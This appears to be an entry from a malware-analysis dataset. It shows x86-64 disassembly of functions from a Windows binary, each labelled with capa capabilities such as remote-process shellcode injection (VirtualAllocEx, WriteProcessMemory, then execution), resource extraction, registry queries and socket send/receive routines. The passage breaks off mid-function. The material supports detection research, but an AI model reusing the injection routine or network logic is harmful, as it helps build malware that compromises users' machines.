joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14003a6c0
Capabilities:
Execute shellcode via indirect call

Disassembly:
movsxd r8, r8d
movsxd rcx, ecx
jmp 0x140045e30
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0xf8
cmp qword [rsp + 0x118], 0
je 0x140045e63
cmp qword [rsp + 0x120], 0
jne 0x140045e6a
xor eax, eax
jmp 0x1400460a8
lea rax, [rsp + 0x90]
lea rcx, [0x1400a4590]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x53
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x200
xor edx, edx
mov rcx, qword [0x1400a8758]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0
jne 0x140045ebd
xor eax, eax
jmp 0x1400460a8
mov rax, qword [rsp + 0x60]
add rax, 0x10
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x96], rax
mov rax, qword [rsp + 0x118]
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0x120]
mov qword [rsp + 0xaa], rax
mov eax, dword [rsp + 0x128]
mov dword [rsp + 0xb5], eax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0xbb], rax
mov rax, qword [rsp + 0x60]
add rax, 8
mov qword [rsp + 0xda], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rax
mov r9d, 0x53
lea r8, [rsp + 0x90]
mov rdx, qword [rsp + 0x78]
mov rcx, qword [0x1400a8758]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 4
mov qword [rsp + 0x28], 0
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x20], rax
mov r9, qword [0x1400a8758]
xor r8d, r8d
mov edx, 0x1fffff
lea rcx, [rsp + 0x68]
call qword [0x1400a8760]
test eax, eax
je 0x140045fdc
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
mov rcx, qword [0x1400a8758]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor eax, eax
jmp 0x1400460a8
cmp qword [rsp + 0x68], 0
jne 0x140046006
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
mov rcx, qword [0x1400a8758]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor eax, eax
jmp 0x1400460a8
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rsp + 0x60]
add rax, 8
lea rcx, [rsp + 0x80]
mov qword [rsp + 0x20], rcx
mov r9d, 4
lea r8, [rsp + 0x70]
mov rdx, rax
mov rcx, qword [0x1400a8758]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rsp + 0x74]
mov rdx, qword [rsp + 0x60]
mov rcx, qword [0x1400a8758]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
mov rcx, qword [0x1400a8758]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
cmp dword [rsp + 0x70], 0
je 0x1400460a6
mov eax, dword [rsp + 0x74]
jmp 0x1400460a8
xor eax, eax
add rsp, 0xf8
pop rdi
pop rsi
ret
Function at 0x14003c180
Capabilities:
Initialize winsock library

Disassembly:
push rbx
sub rsp, 0x1d0
mov rax, qword [0x1400a4600]
xor rax, rsp
mov qword [rsp + 0x1c0], rax
mov rax, qword [rcx]
mov rbx, rcx
test rax, rax
jne 0x14003c1c3
mov ecx, 0x101
lea rdx, [rsp + 0x20]
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor edx, edx
test eax, eax
sete dl
mov qword [rbx], rdx
mov rax, rdx
mov rcx, qword [rsp + 0x1c0]
xor rcx, rsp
call fcn.1400470e0
add rsp, 0x1d0
pop rbx
ret

Function at 0x14003c2d0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x20
xor ebx, ebx
mov rsi, r9
mov qword [r8 + 0x28], rbx
mov rbp, r8
mov rdi, rdx
test rdx, rdx
jne 0x14003c300
lea eax, [rdx + 1]
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop rdi
pop rsi
pop rbp
ret
mov rax, qword [rcx]
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], r15
call qword [rax]
movzx edx, di
mov r8, rsi
mov rcx, rax
mov r14, rax
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov r15, rax
test rax, rax
je 0x14003c37a
mov rdx, rax
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rdi, rax
test rax, rax
je 0x14003c37a
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rsi, rax
test rax, rax
je 0x14003c371
mov rdx, r15
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rdx, rsi
mov qword [rbp + 0x28], rbx
mov r8d, eax
mov rcx, rbp
call fcn.14003e0d0
mov ebx, 1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov r15, qword [rsp + 0x48]
mov rax, rbx
mov rbx, qword [rsp + 0x50]
mov r14, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
pop rsi
pop rbp
ret
Function at 0x14003c470
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x50
mov rdi, r8
mov ebx, edx
test r8, r8
je 0x14003c597
mov rax, qword [rcx]
call qword [rax]
mov rsi, rax
test ebx, ebx
je 0x14003c4d7
cmp ebx, 3
je 0x14003c4d7
sub ebx, 1
je 0x14003c4c6
cmp ebx, 1
jne 0x14003c597
movzx edx, di
mov rcx, rax
call qword [sym.imp.USER32.dll_LoadIconW]
jmp 0x14003c599
movzx edx, di
mov rcx, rsi
call qword [sym.imp.USER32.dll_LoadCursorW]
jmp 0x14003c599
movzx edx, di
mov r8d, 0xa
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov r14, rax
test rax, rax
je 0x14003c597
xor edi, edi
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rbp, rax
test rax, rax
je 0x14003c597
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r15, rax
test rax, rax
je 0x14003c566
lea rcx, [rsp + 0x20]
call fcn.14003b7e0
nop
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r8d, eax
mov rdx, r15
lea rcx, [rsp + 0x20]
call fcn.14003b6b0
test rax, rax
je 0x14003c55c
mov rdi, qword [rsp + 0x20]
lea rcx, [rsp + 0x20]
call fcn.14003b7e0
nop
lea rcx, [rsp + 0x20]
call fcn.14003ac70
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_FreeResource]
test rdi, rdi
je 0x14003c597
cmp ebx, 3
jne 0x14003c592
mov rcx, rdi
call fcn.14003cc60
mov rbx, rax
mov rcx, rdi
call qword [sym.imp.GDI32.dll_DeleteObject]
mov rax, rbx
jmp 0x14003c599
mov rax, rdi
jmp 0x14003c599
xor eax, eax
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x80]
add rsp, 0x50
pop r15
pop r14
pop rdi
ret

Function at 0x14003d330
Capabilities:
Get system information on windows

Disassembly:
push rbx
sub rsp, 0x50
mov rbx, rcx
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rsp + 0x40]
lea rax, [rax*2 + 2]
test rbx, rbx
jle 0x14003d35c
cmp rax, rbx
cmovg rax, rbx
add rsp, 0x50
pop rbx
ret

Function at 0x14003d3f0
Capabilities:
Enumerate gui resources

Disassembly:
push rbx
sub rsp, 0x40
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea rdx, [rsp + 0x20]
mov qword [rsp + 0x28], rbx
lea rcx, [0x14003d9c0]
mov dword [rsp + 0x20], eax
mov qword [rsp + 0x30], 0
call qword [sym.imp.USER32.dll_EnumWindows]
mov rax, qword [rsp + 0x30]
add rsp, 0x40
pop rbx
ret
Function at 0x14003d430
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rsi
push rdi
sub rsp, 0x80
mov rbx, rcx
test rcx, rcx
je 0x14003d52d
cmp word [rcx], 0
je 0x14003d52d
lea rax, vtable.CVolCommonBaseWithMemManager.0
mov qword [r11 - 0x68], rax
lea rsi, vtable.CVolObject.0
mov qword [r11 - 0x68], rsi
xor edi, edi
mov qword [r11 - 0x60], rdi
mov qword [r11 - 0x58], rdi
lea rax, vtable.CWString.0
mov qword [r11 - 0x68], rax
lea rcx, [r11 - 0x48]
call fcn.14003dd80
nop
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x70], 0xfe
cmp word [rbx], di
je 0x14003d4ea
cmp word [rbx + 2], di
je 0x14003d4ea
mov r8, 0xffffffffffffffff
nop
inc r8
cmp word [rbx + r8*2], 0
jne 0x14003d4b0
cmp word [rbx + r8*2 - 2], 0x5c
jne 0x14003d4ea
cmp word [rbx + r8*2 - 4], 0x3a
je 0x14003d4ea
dec r8
mov rdx, rbx
lea rcx, [rsp + 0x20]
call fcn.140041d40
lea rcx, [rsp + 0x20]
call fcn.1400416c0
mov rbx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
setne dil
lea rax, [rsp + 0x40]
mov qword [rsp + 0x90], rax
lea rax, vtable.CVolMem.0
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x40]
call fcn.14003e260
nop
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x20], rsi
mov rax, rdi
jmp 0x14003d52f
xor eax, eax
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret

Function at 0x14003f780
Capabilities:
Connect socket

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x40
mov rax, qword [0x1400a4600]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov rax, qword [rcx]
mov esi, r8d
mov rdi, rdx
mov rbx, rcx
call qword [rax + reloc.WS2_32.dll_recv]
test eax, eax
je 0x14003f80e
mov r8d, esi
lea rcx, [rsp + 0x20]
mov rdx, rdi
call fcn.14003fa80
test rax, rax
je 0x14003f80e
mov rcx, qword [rbx + 0x20]
lea rdx, [rsp + 0x20]
mov r8d, reloc.WS2_32.dll_recv
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x14003f806
mov rdx, qword [rbx + 0x10]
mov r9d, 0x21
mov rcx, qword [rbx + 0x20]
mov r8d, 0x8078
call qword [sym.imp.WS2_32.dll_WSAAsyncSelect]
cmp eax, 0xffffffff
je 0x14003f806
mov dword [rbx + 0x28], 1
mov eax, 1
jmp 0x14003f810
mov rcx, rbx
call fcn.14003f730
xor eax, eax
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.1400470e0
add rsp, 0x40
pop rdi
pop rsi
pop rbx
ret
Function at 0x14003fa80
Capabilities:
Resolve dns

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x80
mov esi, r8d
mov rdi, rcx
test rdx, rdx
je 0x14003fb5a
cmp word [rdx], 0
je 0x14003fb5a
lea rcx, [rsp + 0x20]
call fcn.14003f490
nop
lea rcx, [rsp + 0x20]
call fcn.1400416a0
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
movzx ecx, si
call qword [sym.imp.WS2_32.dll_htons]
mov word [rdi + 2], ax
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x14003fb10
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov rbx, rax
test rax, rax
je 0x14003fb20
movsx r8, word [rax + 0x12]
mov rdx, qword [rax + 0x18]
lea rcx, [rdi + 4]
mov rdx, qword [rdx]
call fcn.1400640c0
movzx eax, word [rbx + 0x10]
jmp 0x14003fb18
mov dword [rdi + 4], eax
mov eax, 2
mov word [rdi], ax
mov ebx, 1
lea rax, [rsp + 0x40]
mov qword [rsp + 0x98], rax
lea rax, vtable.CVolMem.0
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x40]
call fcn.14003e260
nop
lea rax, vtable.CVolObject.0
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x20], rax
mov rax, rbx
jmp 0x14003fb5c
xor eax, eax
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret

Function at 0x14003fd90
Capabilities:
Receive data
Receive data on socket
Set socket configuration

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x90
mov rsi, r8
mov rdi, rcx
mov rcx, qword [rcx + 0x18]
test rcx, rcx
je 0x14003ff06
cmp edx, 0x8078
jne 0x14003ff06
cmp qword [rdi + 0x20], 0xffffffffffffffff
je 0x14003ff06
cmp r9w, 0x20
jne 0x14003fde3
xor ebx, ebx
mov dword [rdi + 0x28], ebx
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
jmp 0x14003ff06
lea r8, [rsp + 0xa0]
mov edx, 0x4004667f
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_ioctlsocket]
test eax, eax
jne 0x14003ff06
mov eax, dword [rsp + 0xa0]
mov ecx, 1
cmp eax, ecx
cmovl eax, ecx
mov dword [rsp + 0xa0], eax
lea rcx, [rsp + 0x58]
call fcn.14003dd80
nop
lea rcx, [rsp + 0x20]
call fcn.14003dd80
nop
movsxd rbx, dword [rsp + 0xa0]
mov rdx, rbx
lea rcx, [rsp + 0x20]
call fcn.14003e6f0
xor r9d, r9d
mov r8d, ebx
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x14003feb3
xor ebx, ebx
nop dword [rax]
test eax, eax
jle 0x14003feb3
mov rdx, qword [rsp + 0x38]
cmp qword [rsp + 0x48], rbx
cmove rdx, rbx
movsxd r8, eax
lea rcx, [rsp + 0x58]
call fcn.14003e0d0
mov dword [rsp + 0xa0], 0x400
mov edx, 0x400
lea rcx, [rsp + 0x20]
call fcn.14003e6f0
xor r9d, r9d
mov r8d, 0x400
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
jne 0x14003fe60
cmp qword [rsp + 0x80], 0
je 0x14003fece
mov rcx, qword [rdi + 0x18]
mov rax, qword [rcx]
lea rdx, [rsp + 0x58]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
lea rdi, vtable.CVolMem.0
mov qword [rsp + 0x20], rdi
lea rcx, [rsp + 0x20]
call fcn.14003e260
nop
lea rbx, vtable.CVolObject.0
mov qword [rsp + 0x20], rbx
mov qword [rsp + 0x58], rdi
lea rcx, [rsp + 0x58]
call fcn.14003e260
nop
mov qword [rsp + 0x58], rbx
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x140040150
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov edi, r8d
mov rbp, rdx
mov rsi, rcx
cmp rcx, 0xffffffffffffffff
je 0x1400401ba
test r8d, r8d
js 0x1400401ba
je 0x1400401b3
mov edx, r9d
call fcn.140040270
test eax, eax
je 0x1400401ba
xor ebx, ebx
test edi, edi
jle 0x1400401b3
nop dword [rax]
mov r8d, edi
movsxd rdx, ebx
sub r8d, ebx
add rdx, rbp
xor r9d, r9d
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x1400401ba
add ebx, eax
cmp ebx, edi
jl 0x140040190
mov eax, 1
jmp 0x1400401bc
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x140040270
Capabilities:
Get socket status

Disassembly:
mov eax, 0x2068
call fcn.1400471e0
sub rsp, rax
mov rax, qword [0x1400a4600]
xor rax, rsp
mov qword [rsp + 0x2050], rax
test edx, edx
jns 0x1400402b0
mov eax, 1
mov rcx, qword [rsp + 0x2050]
xor rcx, rsp
call fcn.1400470e0
add rsp, 0x2068
ret
mov qword [rsp + 0x48], rcx
lea rax, [rsp + 0x30]
mov dword [rsp + 0x30], edx
lea r8, [rsp + 0x40]
mov qword [rsp + 0x2060], rbx
xor r9d, r9d
xor ebx, ebx
mov dword [rsp + 0x40], 1
xor edx, edx
mov dword [rsp + 0x34], ebx
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_select]
cmp eax, 1
sete bl
mov eax, ebx
mov rbx, qword [rsp + 0x2060]
mov rcx, qword [rsp + 0x2050]
xor rcx, rsp
call fcn.1400470e0
add rsp, 0x2068
ret

Function at 0x140042110
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x140
mov rax, qword [0x1400a4600]
xor rax, rsp
mov qword [rsp + 0x130], rax
mov edi, r8d
mov ebx, edx
mov rbp, rcx
xor eax, eax
xor r14d, r14d
mov dword [rsp + 0x38], eax
xor edx, edx
mov qword [rsp + 0x20], r14
mov r8d, 0xe0
lea rcx, [rsp + 0x50]
mov rsi, r9
call fcn.140064760
movzx eax, word [0x140099f10]
lea r8d, [r14 + 0x24]
mov word [rsp + 0x30], ax
lea rdx, [rsp + 0x30]
mov eax, 6
mov dword [rsp + 0x34], ebx
xor r9d, r9d
mov word [rsp + 0x32], ax
mov rcx, rbp
mov qword [rsp + 0x3c], r14
mov dword [rsp + 0x44], edi
mov dword [rsp + 0x48], 0x1000
mov dword [rsp + 0x4c], 0x40
call sub.WS2_32.dll_send
test eax, eax
jg 0x1400421c2
test rsi, rsi
je 0x1400421b5
mov dword [rsi], r14d
mov rcx, rbp
call sub.WS2_32.dll_closesocket
mov rax, r14
jmp 0x140042200
xor r9d, r9d
lea rdx, [rsp + 0x20]
mov rcx, rbp
lea r8d, [r9 + 8]
call sub.WS2_32.dll_recv
cmp eax, 8
jae 0x1400421f0
test rsi, rsi
je 0x1400421e3
mov dword [rsi], r14d
mov rcx, rbp
call sub.WS2_32.dll_closesocket
mov rax, r14
jmp 0x140042200
test rsi, rsi
je 0x1400421fb
mov dword [rsi], 1
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.1400470e0
lea r11, [rsp + 0x140]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
Function at 0x140042230
Capabilities:
Connect socket
Connect udp socket
Create udp socket

Disassembly:
push rbx
sub rsp, 0x40
mov rax, qword [0x1400a4600]
xor rax, rsp
mov qword [rsp + 0x30], rax
cmp word [0x1400a86f4], 0
je 0x1400422b8
mov ecx, dword [0x140099f14]
mov ebx, 2
mov word [rsp + 0x20], bx
mov qword [rsp + 0x28], 0
call sub.WS2_32.dll_htonl
movzx ecx, word [0x1400a86f4]
mov dword [rsp + 0x24], eax
call sub.WS2_32.dll_htons
xor r8d, r8d
mov word [rsp + 0x22], ax
lea edx, [rbx - 1]
mov ecx, ebx
call sub.WS2_32.dll_socket
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400422b8
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x20]
mov rcx, rax
call sub.WS2_32.dll_connect
cmp eax, 0xffffffff
jne 0x1400422d2
mov rcx, rbx
call sub.WS2_32.dll_closesocket
mov rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.1400470e0
add rsp, 0x40
pop rbx
ret
mov rax, rbx
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.1400470e0
add rsp, 0x40
pop rbx
ret

Function at 0x140042300
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
sub rsp, 0x140
mov rax, qword [0x1400a4600]
xor rax, rsp
mov qword [rsp + 0x130], rax
mov rdi, r8
mov ebx, edx
mov rbp, rcx
xor eax, eax
xor edx, edx
mov dword [rsp + 0x38], eax
mov r8d, 0xe4
lea rcx, [rsp + 0x4c]
mov rsi, r9
call fcn.140064760
movzx eax, word [0x140099f10]
lea rdx, [rsp + 0x30]
mov word [rsp + 0x30], ax
xor r9d, r9d
mov eax, 7
mov dword [rsp + 0x34], ebx
xor ebx, ebx
mov word [rsp + 0x32], ax
mov rcx, rbp
mov qword [rsp + 0x3c], rdi
mov dword [rsp + 0x44], ebx
lea r8d, [rax + 0x15]
mov dword [rsp + 0x48], 0x8000
call sub.WS2_32.dll_send
test eax, eax
jg 0x14004239c
test rsi, rsi
je 0x140042390
mov dword [rsi], ebx
mov rcx, rbp
call sub.WS2_32.dll_closesocket
mov eax, ebx
jmp 0x1400423d8
xor r9d, r9d
lea rdx, [rsp + 0x20]
mov rcx, rbp
lea r8d, [r9 + 4]
call sub.WS2_32.dll_recv
cmp eax, 4
jae 0x1400423c8
test rsi, rsi
je 0x1400423bc
mov dword [rsi], ebx
mov rcx, rbp
call sub.WS2_32.dll_closesocket
mov eax, ebx
jmp 0x1400423d8
test rsi, rsi
je 0x1400423d3
mov dword [rsi], 1
mov eax, 1
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.1400470e0
mov rbx, qword [rsp + 0x168]
add rsp, 0x140
pop rdi
pop rsi
pop rbp
ret
Function at 0x140042400
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push rbx
push rbp
push rsi
push rdi
sub rsp, 0x148
mov rax, qword [0x1400a4600]
xor rax, rsp
mov qword [rsp + 0x130], rax
mov rbx, r9
mov rdi, r8
mov ebp, edx
mov rsi, rcx
cmp ecx, 1
jl 0x140042524
test edx, edx
je 0x140042524
mov qword [rsp + 0x140], r14
mov qword [rsp + 0x20], 0
test r8, r8
je 0x1400424a9
cmp byte [r8], 0
je 0x1400424a9
mov r14d, 0x88
lea rcx, [rsp + 0x38]
xor edx, edx
lea r8d, [r14 + 0x70]
call fcn.140064760
movzx eax, word [0x140099f10]
mov r8, 0xffffffffffffffff
mov word [rsp + 0x30], ax
mov eax, 5
mov word [rsp + 0x32], ax
mov dword [rsp + 0x34], ebp
nop dword [rax]
inc r8
cmp byte [rdi + r8], 0
jne 0x140042490
mov rdx, rdi
lea rcx, [rsp + 0x38]
call fcn.1400640c0
jmp 0x1400424d9
xor edx, edx
lea rcx, [rsp + 0x38]
mov r8d, 0xf8
lea r14d, [rdx + 8]
call fcn.140064760
movzx eax, word [0x140099f10]
mov word [rsp + 0x30], ax
mov eax, 4
mov word [rsp + 0x32], ax
mov dword [rsp + 0x34], ebp
xor r9d, r9d
lea rdx, [rsp + 0x30]
mov r8d, r14d
mov rcx, rsi
call sub.WS2_32.dll_send
mov r14, qword [rsp + 0x140]
test eax, eax
jle 0x140042511
xor r9d, r9d
lea rdx, [rsp + 0x20]
mov rcx, rsi
lea r8d, [r9 + 8]
call sub.WS2_32.dll_recv
cmp eax, 8
jae 0x140042542
test rbx, rbx
je 0x14004251c
mov dword [rbx], 0
mov rcx, rsi
call sub.WS2_32.dll_closesocket
xor eax, eax
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.1400470e0
add rsp, 0x148
pop rdi
pop rsi
pop rbp
pop rbx
ret
test rbx, rbx
je 0x14004254d
mov dword [rbx], 1
mov rax, qword [rsp + 0x20]
jmp 0x140042526

Function at 0x140042560
Capabilities:
Query or enumerate registry value

Disassembly:
sub rsp, 0x38
lea rax, [rsp + 0x50]
mov r9d, 0x20119
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [0x1400711f8]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x140042596
xor eax, eax
add rsp, 0x38
ret
xor ecx, ecx
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rdx, [0x140071218]
mov qword [rsp + 0x20], rcx
xor r9d, r9d
mov dword [rsp + 0x40], ecx
xor r8d, r8d
mov dword [rsp + 0x48], ecx
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1400425f7
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rdx, [0x140071218]
lea rax, [rsp + 0x48]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [rsp + 0x48]
add rsp, 0x38
ret

Function at 0x140042610
Capabilities:
Initialize winsock library

Disassembly:
sub rsp, 0x1d8
mov rax, qword [0x1400a4600]
xor rax, rsp
mov qword [rsp + 0x1c0], rax
mov ecx, 0x202
lea rdx, [rsp + 0x20]
call sub.WS2_32.dll_WSAStartup
mov rcx, qword [rsp + 0x1c0]
xor rcx, rsp
call fcn.1400470e0
add rsp, 0x1d8
ret
Function at 0x140042650
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push r12
push r14
push r15
sub rsp, 0x140
mov rax, qword [0x1400a4600]
xor rax, rsp
mov qword [rsp + 0x130], rax
mov rbx, qword [rsp + 0x190]
mov r15d, r9d
mov r14, r8
mov r12d, edx
mov rsi, rcx
test r8, r8
je 0x14004275c
mov rbp, qword [rsp + 0x180]
test rbp, rbp
je 0x14004275c
xor eax, eax
mov dword [rsp + 0x20], 0
xor edx, edx
mov dword [rsp + 0x38], eax
mov r8d, 0xd8
mov dword [rsp + 0x48], eax
lea rcx, [rsp + 0x58]
call fcn.140064760
movzx eax, word [0x140099f10]
lea rdx, [rsp + 0x30]
mov word [rsp + 0x30], ax
xor r9d, r9d
mov eax, 3
mov dword [rsp + 0x44], r12d
mov word [rsp + 0x32], ax
mov rcx, rsi
mov eax, dword [rsp + 0x188]
lea r8d, [r9 + 0x2c]
mov dword [rsp + 0x54], eax
mov qword [rsp + 0x4c], r14
mov dword [rsp + 0x34], r15d
mov qword [rsp + 0x3c], rbp
call sub.WS2_32.dll_send
test eax, eax
jle 0x140042736
xor r9d, r9d
lea rdx, [rsp + 0x20]
mov rcx, rsi
lea r8d, [r9 + 4]
call sub.WS2_32.dll_recv
cmp eax, 4
jae 0x14004274b
test rbx, rbx
je 0x140042741
mov dword [rbx], 0
mov rcx, rsi
call sub.WS2_32.dll_closesocket
jmp 0x140042767
test rbx, rbx
je 0x140042756
mov dword [rbx], 1
mov eax, dword [rsp + 0x20]
jmp 0x140042769
test rbx, rbx
je 0x140042767
mov dword [rbx], 0
xor eax, eax
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.1400470e0
lea r11, [rsp + 0x140]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
ret

Function at 0x1400427a0
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x140
mov rax, qword [0x1400a4600]
xor rax, rsp
mov qword [rsp + 0x130], rax
mov r14, qword [rsp + 0x188]
mov rdi, r8
mov ebx, edx
mov dword [rsp + 0x20], 0
mov rbp, rcx
xor eax, eax
xor edx, edx
mov dword [rsp + 0x38], eax
mov r8d, 0xe4
lea rcx, [rsp + 0x4c]
mov esi, r9d
call fcn.140064760
movzx eax, word [0x140099f10]
lea rdx, [rsp + 0x30]
mov word [rsp + 0x30], ax
xor r9d, r9d
mov eax, 8
mov dword [rsp + 0x34], ebx
mov word [rsp + 0x32], ax
mov rcx, rbp
mov eax, dword [rsp + 0x180]
lea r8d, [r9 + 0x1c]
mov dword [rsp + 0x48], eax
mov qword [rsp + 0x3c], rdi
mov dword [rsp + 0x44], esi
call sub.WS2_32.dll_send
test eax, eax
jle 0x140042859
xor r9d, r9d
lea rdx, [rsp + 0x20]
mov rcx, rbp
lea r8d, [r9 + 4]
